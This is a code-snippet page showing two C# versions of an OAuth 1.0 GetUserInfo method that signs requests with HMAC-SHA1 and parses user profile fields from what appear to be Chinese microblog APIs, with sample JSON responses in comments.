                    Msg.WriteEnd("edit file ok!");
                }
                else
                {
                    Msg.WriteEnd("edit file error!");
                }
                break;
            }
        }
예제 #15
0
        /// <summary>
        /// 取登录账号信息
        /// </summary>
        /// <returns>取登录账号信息</returns>
        public UserInfo GetUserInfo()
        {
            UserInfo user = new UserInfo();

            List <UrlParameter> param = new List <UrlParameter>();

            param.Add(new UrlParameter("oauth_consumer_key", config.AppKey));
            param.Add(new UrlParameter("oauth_nonce", OAuthCommon.GetGUID32()));
            param.Add(new UrlParameter("oauth_signature_method", "HMAC-SHA1"));
            param.Add(new UrlParameter("oauth_timestamp", OAuthCommon.GetTimestamp()));
            param.Add(new UrlParameter("oauth_token", Request2.GetQ("oauth_token")));
            param.Add(new UrlParameter("oauth_verifier", Request2.GetQ("oauth_verifier")));
            param.Add(new UrlParameter("oauth_version", "1.0"));
            param.Sort(new UrlParameterCompre());

            StringBuilder sbSign = new StringBuilder().Append("GET&")
                                   .Append(Rfc3986.Encode(access_token))
                                   .Append("&")
                                   .Append(Rfc3986.Encode(OAuthCommon.GetUrlParameter(param)));

            param.Add(new UrlParameter("oauth_signature", Rfc3986.Encode(OAuthCommon.GetHMACSHA1(Rfc3986.Encode(config.AppSecret), Rfc3986.Encode(Session2.Get("oauth_token_secret")), sbSign.ToString()))));
            param.Sort(new UrlParameterCompre());
            string data = HttpHelper.SendGet(new StringBuilder().Append(access_token).Append("?").Append(OAuthCommon.GetUrlParameter(param)).ToString()) + "&";

            user.Token  = data.GetMatchingValues("oauth_token=(.+?)&", "oauth_token=", "&").FirstOrDefault() ?? "";
            user.Secret = data.GetMatchingValues("oauth_token_secret=(.+?)&", "oauth_token_secret=", "&").FirstOrDefault() ?? "";

            param.Clear();
            param.Add(new UrlParameter("oauth_consumer_key", config.AppKey));
            param.Add(new UrlParameter("oauth_nonce", OAuthCommon.GetGUID32()));
            param.Add(new UrlParameter("oauth_signature_method", "HMAC-SHA1"));
            param.Add(new UrlParameter("oauth_timestamp", OAuthCommon.GetTimestamp()));
            param.Add(new UrlParameter("oauth_token", user.Token));
            param.Add(new UrlParameter("oauth_version", "1.0"));
            param.Sort(new UrlParameterCompre());

            StringBuilder sbSign2 = new StringBuilder().Append("GET&")
                                    .Append(Rfc3986.Encode(user_info))
                                    .Append("&")
                                    .Append(Rfc3986.Encode(OAuthCommon.GetUrlParameter(param)));

            param.Add(new UrlParameter("oauth_signature", Rfc3986.Encode(OAuthCommon.GetHMACSHA1(Rfc3986.Encode(config.AppSecret), Rfc3986.Encode(user.Secret), sbSign2.ToString()))));
            param.Sort(new UrlParameterCompre());
            data = HttpHelper.SendGet(new StringBuilder().Append(user_info).Append("?").Append(OAuthCommon.GetUrlParameter(param)).ToString());

            user.UserID  = data.GetMatchingValues("\"id\":\"(.+?)\"", "\"id\":\"", "\"").FirstOrDefault() ?? "";
            user.Email   = data.GetMatchingValues("\"email\":\"(.+?)\"", "\"email\":\"", "\"").FirstOrDefault() ?? "";
            user.Name    = data.GetMatchingValues("\"screen_name\":\"(.+?)\"", "\"screen_name\":\"", "\"").FirstOrDefault() ?? "";
            user.Sex     = (data.GetMatchingValues("\"gender\":\"(.+?)\"", "\"gender\":\"", "\"").FirstOrDefault() ?? "") == "1" ? 1 : 0;
            user.Header  = data.GetMatchingValues("\"profile_image_url\":\"(.+?)\"", "\"profile_image_url\":\"", "\"").FirstOrDefault() ?? "";
            user.Address = data.GetMatchingValues("\"location\":\"(.+?)\"", "\"location\":\"", "\"").FirstOrDefault() ?? "";

            //{"id":"268563401","screen_name":"livexy","name":"","location":"上海市,徐汇区","description":"","url":"","gender":"0",
            //"profile_image_url":"http://s4.cr.itc.cn/img/t/avt_48.jpg","protected":true,"followers_count":1,"profile_background_color":"",
            //"profile_text_color":"","profile_link_color":"","profile_sidebar_fill_color":"","profile_sidebar_border_color":"","friends_count":7,
            //"created_at":"Fri Dec 02 13:26:29 +0800 2011","favourites_count":0,"utc_offset":"","time_zone":"","profile_background_image_url":"",
            //"notifications":"","geo_enabled":false,"statuses_count":0,"following":true,"verified":false,"lang":"zh_cn","contributors_enabled":false}
            //Msg.Write(GetFriendsInfo(user.Token, user.Secret).ToJson());
            //SendText(user.Token, user.Secret, "测试数据2");
            return(user);
        }
예제 #16
0
        /// <summary>
        /// 取登录账号信息
        /// </summary>
        /// <returns>取登录账号信息</returns>
        public UserInfo GetUserInfo()
        {
            UserInfo user = new UserInfo();

            List <UrlParameter> param = new List <UrlParameter>();

            param.Add(new UrlParameter("oauth_consumer_key", config.AppKey));
            param.Add(new UrlParameter("oauth_nonce", OAuthCommon.GetGUID32()));
            param.Add(new UrlParameter("oauth_signature_method", "HMAC-SHA1"));
            param.Add(new UrlParameter("oauth_timestamp", OAuthCommon.GetTimestamp()));
            param.Add(new UrlParameter("oauth_token", Request2.GetQ("oauth_token")));
            param.Add(new UrlParameter("oauth_verifier", Request2.GetQ("oauth_verifier")));
            param.Add(new UrlParameter("oauth_version", "1.0"));
            param.Sort(new UrlParameterCompre());

            StringBuilder sbSign = new StringBuilder().Append("GET&")
                                   .Append(access_token.UrlEncode2())
                                   .Append("&")
                                   .Append(OAuthCommon.GetUrlParameter(param).UrlEncode2());

            param.Add(new UrlParameter("oauth_signature", OAuthCommon.GetHMACSHA1(config.AppSecret, Session2.Get("oauth_token_secret"), sbSign.ToString()).UrlEncode2()));
            param.Sort(new UrlParameterCompre());
            string data = HttpHelper.SendGet(new StringBuilder().Append(access_token).Append("?").Append(OAuthCommon.GetUrlParameter(param)).ToString()) + "&";

            user.Token  = data.GetMatchingValues("oauth_token=(.+?)&", "oauth_token=", "&").FirstOrDefault() ?? "";
            user.Secret = data.GetMatchingValues("oauth_token_secret=(.+?)&", "oauth_token_secret=", "&").FirstOrDefault() ?? "";

            param.Clear();
            param.Add(new UrlParameter("oauth_consumer_key", config.AppKey));
            param.Add(new UrlParameter("oauth_nonce", OAuthCommon.GetGUID32()));
            param.Add(new UrlParameter("oauth_signature_method", "HMAC-SHA1"));
            param.Add(new UrlParameter("oauth_timestamp", OAuthCommon.GetTimestamp()));
            param.Add(new UrlParameter("oauth_token", user.Token));
            param.Add(new UrlParameter("oauth_version", "1.0"));
            param.Sort(new UrlParameterCompre());

            StringBuilder sbSign2 = new StringBuilder().Append("GET&")
                                    .Append(user_info.UrlEncode2())
                                    .Append("&")
                                    .Append(OAuthCommon.GetUrlParameter(param).UrlEncode2());

            param.Add(new UrlParameter("oauth_signature", OAuthCommon.GetHMACSHA1(config.AppSecret, user.Secret, sbSign2.ToString()).UrlEncode2()));
            param.Sort(new UrlParameterCompre());

            data = HttpHelper.SendGet(new StringBuilder().Append(user_info).Append("?").Append(OAuthCommon.GetUrlParameter(param)).ToString());

            user.UserID  = data.GetMatchingValues("\"id\":\"(.+?)\"", "\"id\":\"", "\"").FirstOrDefault() ?? "";
            user.Email   = data.GetMatchingValues("\"email\":\"(.+?)\"", "\"email\":\"", "\"").FirstOrDefault() ?? "";
            user.Name    = data.GetMatchingValues("\"name\":\"(.+?)\"", "\"name\":\"", "\"").FirstOrDefault() ?? "";
            user.Sex     = (data.GetMatchingValues("\"gender\":\"(.+?)\"", "\"gender\":\"", "\"").FirstOrDefault() ?? "") == "1" ? 1 : 0;
            user.Header  = data.GetMatchingValues("\"profile_image_url\":\"(.+?)\"", "\"profile_image_url\":\"", "\"").FirstOrDefault() ?? "";
            user.Address = data.GetMatchingValues("\"location\":\"(.+?)\"", "\"location\":\"", "\"").FirstOrDefault() ?? "";

            //{"status":null,"following":false,"blocking":false,"followed_by":false,"name":"cexo255","location":"上海市,徐汇区",
            //"id":"959281886828269520","description":"","email":"*****@*****.**","gender":"0","verified":false,"url":"","screen_name":"cexo255",
            //"profile_image_url":"http://oimagea3.ydstatic.com/image?w=48&h=48&url=http%3A%2F%2Fimg1.cache.netease.com%2Ft%2Fimg%2Fdefault80.png",
            //"created_at":"Wed Apr 21 13:19:53 +0800 2010","darenRec":null,"favourites_count":"0","followers_count":"0","friends_count":"0",
            //"geo_enable":false,"icorp":"0","realName":null,"statuses_count":"0","sysTag":null,"userTag":null,"in_groups":[]}
            //Msg.Write(GetFriendsInfo(user.Token, user.Secret).ToJson());
            //SendText(user.Token, user.Secret, "测试数据2");
            return(user);
        }